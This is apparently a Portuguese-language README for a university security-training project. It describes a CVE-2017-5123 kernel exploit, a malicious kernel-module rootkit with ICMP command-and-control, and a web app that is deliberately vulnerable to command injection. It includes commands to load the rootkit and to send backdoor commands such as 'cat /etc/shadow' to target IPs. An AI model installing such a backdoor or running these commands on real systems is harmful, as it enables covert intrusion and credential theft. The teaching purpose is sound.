
Demonstração educacional do exploit do kernel CVE-2017-5123, comando e controle de rootkit baseado em ICMP, e aplicação web vulnerável a injeção de comando do SO para treinamento em cibersegurança.
Este repositório contém uma demonstração de CVE-2017-5123, um backdoor de comando e controle via ICMP, e uma aplicação web vulnerável a CWE-78 (Injeção de Comandos do SO).
Parte do CSC 4308 - Desafio 3.
Este projeto demonstra três componentes distintos de pesquisa em segurança:
lkm/rootkit.c)Um exploit de prova de conceito para a vulnerabilidade da chamada de sistema waitid introduzida no Kernel Linux 4.13. Essa vulnerabilidade permite escalonamento de privilégios e fuga de sandbox.
lkm/lkm.c)Um Módulo de Kernel Linux (LKM) malicioso que implementa um canal encoberto de comando e controle via pacotes ICMP echo (ping).
25678vulnerable-app/)Uma aplicação de compartilhamento de arquivos em React + Node.js vulnerável a injeção de comandos do SO.
pinger/data-ping.c)Uma utilidade para enviar requisições ICMP echo personalizadas com payloads customizados para se comunicar com o backdoor do rootkit do kernel.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Deve ser executado como root para usar sockets raw
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Compile o frontend
cd vulnerable-app/frontend
npm run build
# Copie o build para o backend
cp -r build ../backend/
# Inicie o servidor backend (serve tanto a API quanto o frontend)
cd ../backend
npm start
A aplicação estará disponível em http://localhost:3001